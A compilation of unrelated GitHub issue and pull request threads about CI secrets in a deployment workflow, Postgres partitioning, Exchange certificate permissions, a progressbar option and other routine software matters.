# This workflow will do a clean installation of node dependencies, cache/restore them, build the source code and run tests across different versions of node
# For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions

name: Node.js CI

on:
  pull_request:
    branches: ['main']

env:
  REGISTRY: 'ghcr.io/testing/api-gateway'
  IMAGE_NAME: ${{ format('{0}-{1}', github.event.repository.name, github.sha) }}
  USERNAME: ${{ secrets.USERNAME }}
  DOCKER_TOKEN: ${{ secrets.DOCKER_TOKEN }}

jobs:
  build:
    runs-on: ubuntu-latest

    strategy:
      matrix:
        node-version: [16.x]

    steps:
      - uses: actions/checkout@v3

      - name: Use Node.js ${{ matrix.node-version }}
        uses: actions/setup-node@v3
        with:
          node-version: ${{ matrix.node-version }}
          cache: 'npm'
      - run: npm install
      - run: npm run build

      - name: Build & Push docker
        run: docker build -t $REGISTRY:$IMAGE_NAME .

      - name: Login to github package repository
        run: echo $DOCKER_TOKEN | docker login ghcr.io -u $USERNAME --password-stdin

      - name: Push docker image
        run: docker push $REGISTRY:$IMAGE_NAME

  deploy:
    runs-on: ubuntu-latest
    needs: build

    steps:
      - name: Deploy to Digital Ocean droplet via SSH action
        uses: garygrossgarten/github-action-ssh@release
        with:
          host: ${{ secrets.DO_HOST }}
          username: ${{ secrets.DO_USER }}
          privateKey: ${{ secrets.DO_KEY }}
          passphrase: ${{ secrets.DO_PASSPHRASE }}
          command: |
            echo $DOCKER_TOKEN | docker login ghcr.io -u $USERNAME --password-stdin
            docker pull $REGISTRY:$IMAGE_NAME
            docker run -p 3000:3000 $REGISTRY:$IMAGE_NAME

What is the correct way to use these variables here?

The Context being used by the workflow is not the .env in the host machine; when you set those commands. The variables must be on from the workflow context as secrets or inputs.
${{ secrets.REGISTRY }} - The syntax is the same as you did for the host, username, privateKey, passphrase.
I can confirm this because one of my commands uses the ${{input.key}} which is derived from the Repo Name to cd into the respective directory.
i.e.
 command: cd ${{inputs.directory}}


Made table source example dynamic

Linked Issue
Closes #2234
Description
Table example output was created dynamically while the code example was static. Both are now dynamics and will display data that faker generated
Changsets
Instructions: Changesets automate our changelog. If you modify files in /packages, run pnpm changeset in the root of the monorepo, follow the prompts, then commit the markdown file. Changes that add features should be minor while chores and bugfixes should be patch. Please prefix the changeset message with feat:, bugfix: or chore:.
Checklist
Please read and apply all contribution requirements.

[x] This PR targets the dev branch (NEVER master)
[x] Documentation reflects all relevant changes
[x] Branch is prefixed with: docs/, feat/, chore/, bugfix/
[x] Ensure Svelte and Typescript linting is current - run pnpm ci:check
[x] Ensure Prettier linting is current - run pnpm format
[x] All test cases are passing - run pnpm test
[x] Includes a changeset (if relevant; see above)

CI check complains about some typing issue, seems irrelevant for this ticket.

@phamduylong while it's neat to have all this set dynamically, we aim to keep things as simple to maintain as possible. I think the better solution here might be to just copy/paste the source verbatim in all places it's needed. Do you mind doing that instead? If so I'll be happy to merge this one.

@phamduylong while it's neat to have all this set dynamically, we aim to keep things as simple to maintain as possible. I think the better solution here might be to just copy/paste the source verbatim in all places it's needed. Do you mind doing that instead? If so I'll be happy to merge this one.

No problem, I modified to make the examples static :smile:


execute() not triggered when Mongobee @Bean is in a @SpringBootTest

I have a @Bean-provided Mongobee implementation with Spring Boot 1.5.8, and it works fine for my main application.
However, I'd like to replace the bean for my integration tests. When I debug my tests, my test @Bean is called, but the execute() method is never called in Mongobee. In my log output, I never see my migrations running either.
Do I need to do something special to get Mongobee to run in a Spring integration test?

Is Mongobee enabled? Also what about application logs? Are there any errors? You could try to create @Bean that are also annotated as @Profile and check if that works.

Also make sure that the @Bean is created in a class that is annotated with @Configuration.


Linux task scheduler

Thanks! I've activated the task scheduler on first run but only tested on mac.


Create marine_hillaire.json

Hey @Widsithe, thank you for adding yourself to the webring! I went to check your site and noticed a couple of things:

The large, full-page animations don't honor a reduced motion media query, meaning they might be a vestibular trigger for webring visitors.
The custom mouse cursor may interfere with folks OS cursor adjustments, and prevent them from navigating the site.

As per the Code of Conduct, these two aspects represent access barriers that we'd request be addressed before this PR can be merged.

Closing for non-response. Please do feel free to re-open this PR if the outlined issues are addressed.


Find & replace - wording needs fixing to show Azure AD.

Right at the top of the article it has the following:
"In Microsoft Entra ID, formerly known as Microsoft Entra ID,"
I assume it was a simple find & replace to update it from Azure Active Directory. Minor thing but thought it best to flag it to be fixed.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: f4da66b2-36f2-753f-4170-bcbf51824033
Version Independent ID: c9e72e4f-effc-37f0-f418-c92af00f0523
Content: Assign eligibility for a group in Privileged Identity Management - Microsoft Entra
Content Source: articles/active-directory/privileged-identity-management/groups-assign-member-owner.md
Service: active-directory
Sub-service: pim
GitHub Login: @barclayn
Microsoft Alias: barclayn

@RossCavanagh
Thanks for your feedback! We will investigate and update as appropriate.

@RossCavanagh
Thanks for reporting this! We have created a PR for this issue and the changes should go live soon.


Add functionality to hide the progress bar Issue #2609

Added "show" argument to click.progressbar to allow users to hide the progressbar output
Added env to gitignore to match up with the CONTRIBUTING.rst directions
Added test to verify "show" argument is behaving

fixes #2609

I know I was uncertain about this at the sprint, but after some thought I'm good with it.
Rich uses visible, and tqdm uses hidden, let's pick hidden since that matches the is_hidden attribute.
Simon also mentioned in the issue that it might be possible to just set the self.is_hidden flag based on this parameter as well, rather than adding another attribute for it. Did you try out that option?

I've looked over the code related to the self.is_hidden property.  Modifying that is likely the better way to go since it will still handle what to do with the self.file text stream.  I'll make the needed changes.  Also, should we change is_hidden to _is_hidden?  It behaves like a property that's private to the object.

Sounds good. If the attribute is not documented in the public documentation, then it can be renamed without a deprecation first.

I ended up having issues for the test related to this feature and had to separate the logic for self.hidden and self._is_hidden.  It's probably easier to follow anyway.  Should be good to go.


Add partitioned message option

This adds a message option partitioned to tell whether this descriptor should be partitioned or not.
TODOS:

We need to generate the sub-tables once we know the tenantIds for a partitioned table

Test Result With option (pgdb.v1.msg).partitioned = true;
=== RUN   TestSchemaFoodPasta
CREATE TABLE IF NOT EXISTS
  "pb_pasta_models_food_v1_29fd1107"
(
  "pb$tenant_id" varchar NOT NULL,
  "pb$pksk" varchar GENERATED ALWAYS AS (pb$pk || '|' || pb$sk) STORED,
  "pb$pk" varchar NOT NULL,
  "pb$sk" varchar NOT NULL,
  "pb$fts_data" tsvector,
  "pb$pb_data" bytea NOT NULL,
  "pb$id" text NOT NULL DEFAULT '',
  "pb$created_at" timestamptz,
  CONSTRAINT pbidx_pksk_pasta_models_food_v1_441e44c9 PRIMARY KEY ("pb$tenant_id","pb$pksk")
)
PARTITION BY LIST(pb$tenant_id)

...

With option (pgdb.v1.msg).partitioned = false;
=== RUN   TestSchemaFoodPasta
CREATE TABLE IF NOT EXISTS
  "pb_pasta_models_food_v1_29fd1107"
(
  "pb$tenant_id" varchar NOT NULL,
  "pb$pksk" varchar GENERATED ALWAYS AS (pb$pk || '|' || pb$sk) STORED,
  "pb$pk" varchar NOT NULL,
  "pb$sk" varchar NOT NULL,
  "pb$fts_data" tsvector,
  "pb$pb_data" bytea NOT NULL,
  "pb$id" text NOT NULL DEFAULT '',
  "pb$created_at" timestamptz,
  "pb$updated_at" timestamptz,
  "pb$deleted_at" timestamptz,
  CONSTRAINT pbidx_pksk_pasta_models_food_v1_441e44c9 PRIMARY KEY ("pb$tenant_id","pb$pksk")
)

Can you add a test case:

Validated partitioned = true
Sketches out attachment of partitions by Tenant ID?  I think doing this here will be helpful to understand what should be inside the pgdb_v1 library;  Eg, should we have Helper functions for construction of the Partition Attachment by Tenant ID?

Can you add a test case:
1. Validated partitioned = true

2. Sketches out attachment of partitions by Tenant ID?  I think doing this here will be helpful to understand what should be inside the `pgdb_v1` library;  Eg, should we have Helper functions for construction of the Partition Attachment by Tenant ID?

@pquerna I added a test to verify the master partition is created and exists in addition to created some fake sub-partitions and verifying them as well

Something I forgot about.
TODO: Migrating existing tables that are not partitioned to a partitioned table.

I don't think we need to support that right now.  it has... alot of complications for any large enough table.

did a make protogen on c1 with this commit https://github.com/ductone/protoc-gen-pgdb/pull/63/commits/7fca34a8d4c53f4053ff19142d0caf1c686092f7 with the result


Data Intake

Source

Name: Zenodo load, Balance area map
Author: Zenodo, HIFLD control area, ISO/RTO subregional maps
Description: Zenodo provide the cleaned hourly load data for all control areas  and subregions from 1 Oct 2018 through 30 Sep 2020.  The CAs with subregional data are ISONE, NYISO, PJM, ERCO, CISO, SWPP, MISO.  The BA maps have some of the CAs , the seven ISO subregional maps, and zones.  The rest CAs not present in the current BA map are mapped to the current map. A mapping table from the CAs to the BA map has the fraction column, based on the overlapped area.  The Zenodo load can then be assigned to the BA map.
Source: Zenodo, HIFLD
Exact source location:    https://zenodo.org/record/4116342#.YfBpUjvMJb8
https://hifld-geoplatform.opendata.arcgis.com/datasets/geoplatform::control-areas-1/explore?location=29.801747%2C-84.928759%2C7.75
Terms (if specified):  Creative Commons Attribution 4.0 International Public for ZenodoLicense,

Destination

Modifications to source files(s): new file remap_zenodo.py
Location: prereise/gather/demanddata/zenodo

General Purpose
The data are used to ...

Let's focus this data intake on just the geographic information, and we can tackle the Zenodo/EIA load data in a follow-up.
Besides the HIFLD Control Areas shapefiles, which other data sources are we using?
Which branch has the script that translates source shapes to final shapes?

Closed via #270


OAS Page Design Updates + Blog Page

OAS Page Design Updates + Blog Page
This PR includes several things:

Updates to the OAS overview page design
Added new dynamic route [id].js under /pages/projects/oas-benefits-estimator to support the blog posts/updates
Hooked up AEM data to new [id].js (we will likely want to move to markdown for the majority of the content on these kinds of pages)
Updated OAS homepage card to include tag indicating there is a new update (currently hardcoded for OAS, will look into a programatic implementation later)

Test Instructions

Navigate to home page
Go to OAS overview
See that design matches spec here
Go to the update through the card
See that update page design matches spec here
Repeat this for both languages, switch languages mid-navigation

Definition of Done

[x] Update CHANGELOG

Check out a preview of your pull request here: https://alphasite-appservice-dev-pr-preview-1438184895.azurewebsites.net

Check out a preview of your pull request here: https://alphasite-appservice-dev-pr-preview-1438184895.azurewebsites.net

Check out a preview of your pull request here: https://alphasite-appservice-dev-pr-preview-1438184895.azurewebsites.net

Check out a preview of your pull request here: https://alphasite-appservice-dev-pr-preview-1438184895.azurewebsites.net


Skip mutated struct properties in bpdoc.

This change fixes a bug where the blueprint:mutated tag was ignored
when used for struct or interface properties. It also fixes a dormant
ExcludeByTag func bug.
Test: m soong_docs, properties_test.go, bpdoc_test.go
Change-Id: I926de2aa203ec552ced897174e9b78e817701a7d

Can you squash the changes together?


Porting CATER into NVIDIA NeMo

I'm working on making CATER one of the available dataset in NVIDIA NeMo. To do so, I need to be able to download all data programmatically through static download links. As I noticed, only Scenes and Videos directory have static download links. The Lists directory can only be downloaded manually from box.com. Can you also add static download links for the Lists directory? Thank you.

Resolved by https://github.com/rohitgirdhar/CATER/commit/703e6004d80f6f1859f9f1bf4cadba44947b4163


Exchange CU install fails due to missing private key permissions

Issue description
When installing an Exchange Cumulative Update (CU11 to CU12 in my case), installation fails if the currently assigned Exchange certificate was created assigned using the ImportExchange.ps1 script that is distributed with win-acme. Setup fails be cause the certificate's private key lacks certain permissions that the CU installer expects. Unfortunately, I didn't write down the exact error because I was in a hurry to get Exchange up and running again.
Private keys added using the ImportExchange.ps1 have the following permissions set (see certlm.msc > Personal > Certificates > right-click on current LE certificate > All Tasks > Manage Private Keys):
SYSTEM: Full control
NETWORK SERVICE: Read
Administrators (Local Administrators Group): Read
However, Exchange CU installer needs the following permissions:
SYSTEM: Full control
NETWORK SERVICE: Full control
Administrators (Local Administrators Group): Full control
I assume this also applies to Exchange 2013 and 2019, but I didn't test it.

Very interesting observation, thanks for reporting it!
This should at least be mentioned in the documentation but of course more preferable fixed in the Powershell script.

Maybe useful:
https://github.com/PowerShell/CertificateDsc/issues/47
Together with:
https://github.com/RamblingCookieMonster/PowerShell/blob/master/ConvertFrom-SID.ps1

The error is as below:
https://www.stephenwagner.com/2019/02/19/exchange-2016-cu12-install-upgrade-fails-using-lets-encrypt-ssl-cert/
It is still happening as well on CU14

In the next version of the program you will be able to run with --acl-fullcontrol "network service, administrators" to set up a certificate that has the neccessary permissions for CU installation without manual intervention. You can test it here: https://ci.appveyor.com/project/WouterTinus/win-acme-s8t9q/builds/29176912/artifacts

@WouterTinus will the --acl-fullcontrol flag set the private key permissions or is this just setting ACLs on the folder containing the generated cert?

Hi @LBegnaud, it sets ACLs on the actual folder where Windows Stores the private key, so not in the cache path or Central Certificate Store or anything like that. And it was just released!


Migrate to postgres bitstring perms

Description of the Change
At WSV there've been used enum types similar to SM ones. It's probably inefficient and error prone (code hard to read and permissions need to be maintained).
This PR introduces behavior based on postgres bitstrings: conversion is built-in and querying is simply perfromed via boolean operations.
Benefits
Efficiency, no need in postgres types maintaining, cleaner code, a bit better interface for PermissionSet
Possible Drawbacks
SQL queries become more complicated :(

 permissions.cpp#L31: The function 'permissionOf' is never used.

That is going to be fixed in #1500